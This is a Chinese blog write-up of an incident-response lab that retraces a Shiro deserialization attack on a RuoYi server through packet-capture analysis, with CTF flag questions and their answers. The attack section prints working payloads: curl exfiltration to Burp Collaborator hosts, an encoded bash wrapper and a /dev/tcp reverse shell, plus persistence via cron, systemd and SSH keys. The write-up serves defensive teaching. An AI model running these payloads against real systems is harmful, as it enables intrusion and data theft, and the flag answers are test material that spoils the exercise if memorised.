0x01 前言
本篇文章共6000字,完全阅读全篇约15分钟,州弟学安全,只学有用的东西
这次文章其实早就该发来着,奈何一直在忙,档期也不够,这是5月份的一件事,当时正有条不紊的准备接下来的工作,半夜甲方给领导发信息,系统似乎被穿了,刚开始第一天就穿了?我也很懵,于是早早睡去,第二天早早的就前往甲方所在地
1
2
3
4
甲方: 我们今天被通知攻陷了,通知有未授权和弱口令漏洞
麻烦明天让技术人员过来一起排查一下(此处不放图了)
1
2
大概就是这么回事,到现场以后,那里的两个大哥说排查了一夜,仍未找到问题,因为攻击队只说明漏洞类型,不告诉具体细节,需要单位自行找到问题,写报告和溯源报告来补分,于是乎我就拿出了宝刀未老的电脑,开始进行应急,从端口开始查,应急肯定要具备一些挖洞渗透的小基础,最终经过一上午时间通过漏洞挖掘和日志对比,找到了漏洞问题,并且和IP匹配成功,这里可以看我之前发的以下文章
1
2
攻防实战|记录一次攻防实战中流程与溯源
确实是未授权和弱口令,但是没进系统,虚惊一场,后来在那里待到结束,边防范边挖洞,共挖掘出近40个高中危漏洞
* 本次环境分为攻防两部分,贴合实战与赛题,已由多位师傅进行测试并确认
1
2
3
4
本次我们主要在前期阶段复现攻击行为,后期根据我以往微不足道的经验和想法进行补充,给出应急响应镜像和攻与防步骤两个模块,同时镜像也会推送至玄机应急响应平台
1
2
玄机注册码/邀请码获取: 关注本公众号发送 '邀请码' 最后链接自取
1
2
* 文章内容仅供学习参考、环境如需商用请提前告知,请勿利用工具非法未授权操作
* 感谢转发、点赞、在看、收藏,您的每一次支持都是我更新的动力
0x02 攻与防
镜像下载地址:``https://pan.quark.cn/s/00642862b330
1
2
被攻击站点使用的是spring boot框架,我们此处使用若依复现,被利用到的点会在其中
1
2
防:应急阶段
系统: Ubuntu 22.0.4CPU: 4颗
内存: 4G空间: 保证6G左右
应急主机: 192.168.0.211网关: 192.168.0.1/24
其它傀儡机: 段内账号/密码: root/security123
流量包: /home/security/security.pcap注: 因未使用中间件开放WEB,所以日志全程以流量包分析
题目:`1. 根据流量包分析首个进行扫描攻击的IP是
2. 根据流量包分析第二个扫描攻击的IP和漏扫工具,以flag{x.x.x.x&工具名}
3. 提交频繁爆破密钥的IP及爆破次数,以flag{ip&次数}提交
4. 提交攻击者利用成功的密钥,以flag{xxxxx}提交
5. 提交攻击者获取到的所有服务的弱口令,多个以&提交,如flag{xxx&xxx&xxx}
6. 根据应急响应方法,提交利用漏洞成功的端口,多个以&连接,如:flag{port&port&port}
7. 根据流量包分析,提交攻击者利用密钥探测成功的dnslog地址
8. 根据流量包分析,提交攻击者反弹shell的地址和端口,以flag{x.x.x.x&port}提交
9. 攻击者在主机放置了fscan(已改名),经扫描拿下一台永恒之蓝漏洞主机,以此为线索进行提交fscan绝对路径
10. 另类方法:提交此fscan工具的MD5值,以flag{xxxxxx}提交
11. 攻击者为了权限维持,在主机放置了仿真远控工具,需提交此远控工具的下载地址,以flag{http:xxx.xx/xxx}
12. 攻击者就知道你会这样找到,所以又创建了一条相关的脚本,使用其他方法进行下载,提交脚本的绝对路径
`13. 攻击者创建了一个隐藏用户,提交此用户的用户名,以flag{xxxx}提交
1
2
题目 答案
根据流量包分析首个进行扫描攻击的IP是 192.168.0.223
打开抓取的流量包,这什么啊,没有一点规律,这个时候不要着急
1
2
已知被攻击主机IP为192.168.0.211,所以我们可以使用过滤器进行过滤 ip.dst == 192.168.0.211
1
2
排除掉 192.168.0.200的ping包,这是物理机发送的正常探测包,往下找到源IP为192.168.0.223看到,疑似存在端口探测行为
1
2
使用过滤器筛选 ip.dst == 192.168.0.211&&ip.src==192.168.0.223看到共请求七万多次,再往下还有http协议
1
2
为了验证猜想,可以使用过滤器筛选,看到端口探测的包的数量
1
2
ip.dst == 192.168.0.211&&ip.src==192.168.0.223&&tcp.flags.syn == 1
1
2
继续回到一开始192.168.0.223扫描机器流量阶段,可以看到前有端口探测,后有目录文件扫描,被扫描的端口有12333和9988
1
2
回到Linux主机,我们可以执行 netstat查看到对外开放的两个WEB端口正是这两个
1
2
题目 答案
根据流量包分析第二个扫描攻击的IP和漏扫工具,以flag{x.x.x.x&工具名} 192.168.0.200&acunetix
还是根据时间排序,已知第一个扫描的IP行为是端口探测和文件扫描,在后续进行筛选是可以将此IP过滤掉
1
2
ip.dst == 192.168.0.211&&ip.src!=192.168.0.223
1
2
翻过去上面ping包后,看到192.168.0.200的IP使用56259端口在批量进行扫描,还有HTTP协议,可以进一步对此IP根据
1
2
ip.dst == 192.168.0.211&&ip.src==192.168.0.200&&http
1
2
进行过滤后看到以上IP对WEB端口进行了6000次有规律的WEB扫描,由于12333端口是若依框架,不存在的文件会302跳转
1
2
继续往下查找,寻找漏洞扫描器特征,主要从UA、字典特征,行为特征、DNSlog地址、url中的某些地址查看
1
2
在以上图片中,我们看到在160872次流量中,有bxss.me域名,这是漏扫器 acunetix或称 AWVS的特征
经过此次筛选我们已知,192.168.0.200的IP,行为特征是,已知开放的WEB端口,使用AWVS漏扫器进行漏洞扫描,次数少,特征明显
1
2
3
4
题目 答案
提交频繁爆破密钥的IP及爆破次数,以flag{ip&次数}提交 192.168.0.226&1068
继续筛选条件,将上方已知攻击行为的IP排除在外,筛选后看到是192.168.0.226在请求,先查看有无异常
1
2
ip.dst == 192.168.0.211&&ip.src!=192.168.0.223&&ip.src!=192.168.0.200
1
2
上图看到此IP一直请求被攻击机12333端口,我们单列出来看结果
1
2
ip.dst == 192.168.0.211&&ip.src==192.168.0.226
1
2
上图看到,前面是正常的初次连接,进行的TCP会话,但是往后看,297346流量后,全是请求login接口,很有规律,打开流量包看到疑似在爆破shiro密钥
1
2
上图看到,追踪http流以后,第一个请求先确认了shiro框架的存在,接着就是爆破shiro密钥的行为(若依框架此处开启了shiro安全框架)
1
2
ip.dst == 192.168.0.211&&ip.src==192.168.0.226&&http.request.uri=="/login"
1
2
使用以上过滤条件筛选到,192.168.0.226这个IP,爆破shiro密钥1068次,去除(初次请求握手和探测shiro)三次
1
2
目前已知192.168.0.226这个IP行为目的明显,已知开放的WEB端口,已知框架类型和可能存在的漏洞并尝试利用
1
2
题目 答案
提交攻击者利用成功的密钥,以flag{xxxxx}提交 c+3hFGPjbgzGdrC+MHgoRQ==
对以上已知的攻击行为IP进行过滤,看到IP为192.168.0.242刚开始就爆破密钥
1
2
ip.dst == 192.168.0.211&&ip.src!=192.168.0.223&&ip.src!=192.168.0.200&&ip.src!=192.168.0.226
1
2
过滤器中加入此IP进行跟进分析行为
1
2
ip.dst == 192.168.0.211&&ip.src==192.168.0.242
1
2
跟进此IP后,前面经过爆破,没有成功,而后访问了9988端口,访问/actuator/heapdump文件进行下载(heapdump:JVM 内存信息,分析出明文密码)
1
2
此处攻击者就是分析heapdump文件中的密钥进行的后期攻击行为,我们可以反编译/home/security/ruoyi/ruoyi-admin.jar文件,在ruoyi-admin/src/resource/application.yml文件查看到密钥
1
2
假如说是动态密钥,我们可以利用同样的方法,下载heapdump,使用相关工具提取密钥,此处我用的JDumpSpider
1
2
https://github.com/whwlsfb/JDumpSpider
1
2
经过分析,以上IP进行后攻击可能性极大,继续往下跟进分析即可
1
2
题目 答案
提交攻击者获取到的所有服务的弱口令,多个以&提交 ruoyi123&admin123&123456
这个在流量中看不到,只需看heapdump明文密码即可,从上往下分析,第一个就是数据库密码是弱口令,为ruoyi123
1
2
接着往下看到若以的两个账号的默认口令同样为admin123
1
2
在往下找到若依框架开启的druid监控服务默认口令为123456
1
2
题目 答案
根据应急响应方法,提交利用漏洞成功的端口,多个以&连接 9988&12333
已知对外开放的端口为22、9988、12333端口,22端口为远程连接,9988端口在前期被192.168.0.223进行端口扫描和文件扫描,被192.168.0.200使用AWVS进行扫描,被192.168.0.242访问并下载heapdump进行后续利用
1
2
而12333端口是若依搭建的框架,被前面IP进行扫描且进行过爆破,最后一步在192.168.0.242这个IP获取到shiro密钥
1
2
所以综上所述,9988端口是被直接利用获取敏感信息,从而导致12333后续被攻击成功
1
2
题目 答案
根据流量包分析,提交攻击者利用密钥探测成功的dnslog地址 1dvrle.dnslog.cn
在攻击者成功利用密钥探测成功后,会先探测此主机是否出网,往往会使用dnslog进行测试,我们只需筛选DNS协议及主机
1
2
dns&&ip.src==192.168.0.211
1
2
流量不多,仔细查看翻阅,排除掉正常的域名地址,找到dnslog的地址
1
2
题目 答案
根据流量包分析,提交攻击者反弹shell的地址和端口 192.168.0.251:8888
我们此处继续筛选,因为爆破和利用shiro都是在若依进行的,若依走的是HTTP协议,直接筛选即可
1
2
ip.dst==192.168.0.211&&ip.src==192.168.0.242&&http
1
2
shiro的利用过程一般分为以下几个步骤,较为详细
1
2
此处我们可从下往上逆推流量进行解密,因为前面爆破密钥,爆破构造链等多次,从上往下找不好定位
1
2
我这是在过滤后结果最后流量中追踪的,复制出cookie中rememberMe中的值进行解密,脚本我这里用的希谭实验室ABC123大佬写的工具
1
2
蓝队第3篇:Shiro反序列化数据包解密及蓝队分析工具,提供下载
当然也可以自行将以上流程逆推解密,拿到密钥,复制以上cookie中的值,看到解密文本
1
2
我们可以看到,进行命令执行的Java函数,以及执行的参数进行的base64编码,和最后使用的恶意工具
1
2
通过解码以上base64编码后,看到使用curl进行连接burpsuite的dnslog地址,然后去执行系统命令,此处burp地址方便本地查看结果,通过以上信息看到反弹的shell地址
1
2
题目 答案
攻击者在主机放置了fscan(已改名),经扫描拿下一台永恒之蓝漏洞主机,以此为线索进行提交fscan绝对路径 /opt/.f/.s/.c/.a/.n
因为是反弹shell,所以在流量包处直接按照以下条件过滤即可
1
2
ip.dst==192.168.0.211&&ip.src==192.168.0.251&&tcp.port==8888
1
2
在主机层面,直接搜索即可,因为给出提示,扫描出了永恒之蓝主机,且fscan默认在扫描后在当前目录生成一个名为result.txt的文件
1
2
grep -rl 'MS17-010' / 2>/dev/null # 根据关键字筛选``grep -rl '192.168.0' / 2>/dev/null # 根据网段筛选
1
2
上图中看到,流量包中也存在明文,有些师傅可能会纳闷,为什么流量包内会携带呢,我们再去看流量包
1
2
在TCP/IP协议中,会话需要经过三次握手和四次挥手,流量包存在是因为SYN,ACK包中存在明文流量,使用以下条件进行过滤
1
2
ip.dst==192.168.0.211&&ip.src==192.168.0.251&&tcp.port==8888&&tcp.flags.syn == 1 && tcp.flags.ack == 1
1
2
根据标志位进行过滤相应的流量包,然后查看明文操作
1
2
至此可以明白流量传输的过程和寻找fscan存放的位置
1
2
题目 答案
另类方法:提交此fscan工具的MD5值 b8053bcd04ce9d7d19c7f36830a9f26b
有些师傅会问,万一他把result.txt文件删了呢,你怎么模糊搜索,很好,非常好的问题,所以这个时候,用到了MD5值(此处我是用的是md5sum工具)
1
2
find / -type f -exec md5sum {} \;
1
2
这个命令是递归从根目录下使用md5sum计算所有文件的MD5列出,但是不好的是数据量太大,容易卡死
1
2
继续对命令进行优化,只对可执行文件列出MD5值,导入到一个文件中,然后对比fscan的MD5
1
2
find / -type f -executable -exec md5sum {} \;>1.txt
1
2
此处我对所有可执行文件的MD5进行输出到1.txt文件,然后接着对原fscan的MD5进行对比
1
2
有些师傅会问,我这要MD5有啥用啊,我们首先要知道,每个文件都是一个独立的个体,MD5是唯一的,改名不改内容,MD5是不变的,在首次查杀到这个病毒木马文件后,会记录此文件的MD5值并入库,后面直接对比此文件的MD5,就无需再次查杀,浪费资源,MD5相当于文件的独立身份,如直接使用刚刚的MD5去微步查看到是fscan工具
1
2
题目 答案
攻击者为了权限维持,在主机放置了仿真远控工具,需提交此远控工具的下载地址 http://zhoudinb.com:12345/qxwc.sh
当然了,我们可以继续查看流量包,明文看到攻击者的操作,排除掉流量包,我们使用主机如何去查呢
1
2
计划任务可以看到,每10分钟执行.qxwc.sh,至于为什么直接这样,这是攻击者做计划任务的一个常规手段,属于一个细节上的地方,这一块主要是考虑到计划任务的配置排查
1
2
题目 答案
攻击者就知道你会这样找到,所以又创建了一条相关的脚本,使用其他方法进行下载,提交脚本的绝对路径 /home/security/upload/.CCC/.happy.sh
排除计划任务,在Linux中还存在另一种方法,就是开机自启,我们可以通过systemctl查看,他的执行文件路径在/etc/systemd/system/,创建任务是通过此目录下进行定位文件名创建任务名
1
2
ls -l --time-style=long-iso /etc/systemd/system/ | sort -k 6,7
1
2
使用以上命令可以按照最后改变时间进行排序,从下往上看可疑文件
1
2
看到有happy.service疑似非系统自带任务,查看后确认为恶意文件,接着查看相应文件,并确认绝对路径
1
2
题目 答案
攻击者创建了一个隐藏用户,提交此用户的用户名 xj1zhoudi@kali
cat /etc/passwd |grep bash
1
2
通过以上命令查看到只有两个用户拥有登录权限
1
2
确认shadow文件没有问题,查看可登录用户的/.ssh目录,并查看公钥文件,最终在/root/.ssh/.id_rsa.pub看到可疑用户名
1
2
所做的操作,在反弹shell端口中都是明文操作,通过流量包过滤,可看到明文流量(因为传输过程没有加密)
1
2
攻:渗透阶段
信息收集阶段
攻击者首先使用移动IP192.168.0.223对目标主机使用nmap进行了全端口扫描,并获取到开放的三个端口
而后攻击者使用dirsearch和其它目录攻击扫描对应的web端口目录文件
1
2
经过简单的进行了前期收集扫描,没有扫到有用的文件,但是已知开放了的WEB端口,后因为攻击者被IPS和WAF识别出,进行了封禁
而后攻击者更换IP使用漏扫攻击,专项对相应WEB端口进行漏洞扫描攻击,IP地址为192.168.0.200
1
2
3
4
经过扫描,攻击者得到9988端口存在spring boot actuator模块
1
2
经过此次漏洞扫描,攻击者获取到了相应的未授权访问漏洞,后续又被IPS和WAF进行识别并加黑IP
攻击者开始针对于业务站点12333端口,已知存在shiro框架,更换IP192.168.0.226进行爆破shiro密钥
1
2
3
4
- 漏洞利用阶段
但是奈何此IP动作太大,后续被流量监测封禁,攻击者继续更换IP192.168.0.242且下载9988端口下的heapdump文件获取敏感信息shiro-key且得到几个弱口令
1
2
而后,攻击者使用CommonsBeanutils1链进行攻击,进行DNSlog出网探测
1
2
而后攻击者构造payload进行命令注入、反弹shell攻击
1
2
curl --connect-timeout 3 http://301m1dvwq05pbbjg28i9s152itojc8.burpcollaborator.net/2/ -d data=$((whoami)|base64 -w 0)
1
2
对以上payload进行base64编码,然后在构造一个解码的payload进行shiro反序列化攻击,从而执行命令
1
2
bash -c {echo,Y3VybCAtLWNvbm5lY3QtdGltZW91dCAzIGh0dHA6Ly8zMDFtMWR2d3EwNXBiYmpnMjhpOXMxNTJpdG9qYzguYnVycGNvbGxhYm9yYXRvci5uZXQvMi8gLWQgZGF0YT0kKCh3aG9hbWkpfGJhc2U2NCAtdyAwKQ==}|{base64,-d}|{bash,-i}
1
2
经过执行后,攻击流量会通过反序列化成功后进行命令执行,执行curl(burp suite)生成的dnslog地址,发送请求,连带后面的命令执行payload回传给dnslog地址,在burp中可以看到,首先走了DNS流量,然后走了HTTP流量,在POST包的data中解码看到当前使用的用户(运行若依的用户)
1
2
将以上payload进行改动,whoami命令改为反弹shell命令继续执行,192.168.0.251做为跳板机监听相应端口
1
2
curl --connect-timeout 3 http://onf7oyihdlsayw61pt5ufmsn5eb5zu.burpcollaborator.net/2/ -d data=$((bash -i >& /dev/tcp/192.168.0.251/8888 0>&1)|base64 -w 0)
1
2
经过再次编码后可以看到上线目标主机上线跳板机8888端口成功
1
2
- 权限维持阶段
攻击者上线目标主机后需要进行权限维持或横向漏洞扫描,在/opt/.f/.s/.c/.a/n目录下放置了fscan工具并改名,进行漏洞扫描,获取到了一台永恒之蓝机器
1
2
然后在/opt/.Abc/.qxwc.sh创建权限维持脚本(此处模拟),并创建定时计划任务
1
2
接着创建开启自启动计划任务,并继续下载权限维持脚本,以防止被删除原脚本
1
2
然后在本地生成一个用户公私钥,上传公钥到目标主机,后续继续连接,称为用户权限维持(模拟-此处不在复现,直接看流量包即可)
1
2
0x03 总结
IP 排查攻击思路
192.168.0.223 端口扫描+文件目录扫描
192.168.0.200 针对WEB端口漏洞扫描
192.168.0.226 爆破shiro密钥
192.168.0.242 目的明确、获取敏感信息+利用漏洞成功
192.168.0.251 跳板机、反弹shell地址
本次思路按照之前行业攻防应急响应前期应急响应经验+本人人为经验进行综合整理归纳,如有不妥之处请指出,本篇文章主要以符合现实角度去理解在单机应急响应下的思路排查,不作为所有环境思路,欢迎各位师傅指导
题外话
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:https://blog.csdn.net/logic1001/article/details/142728320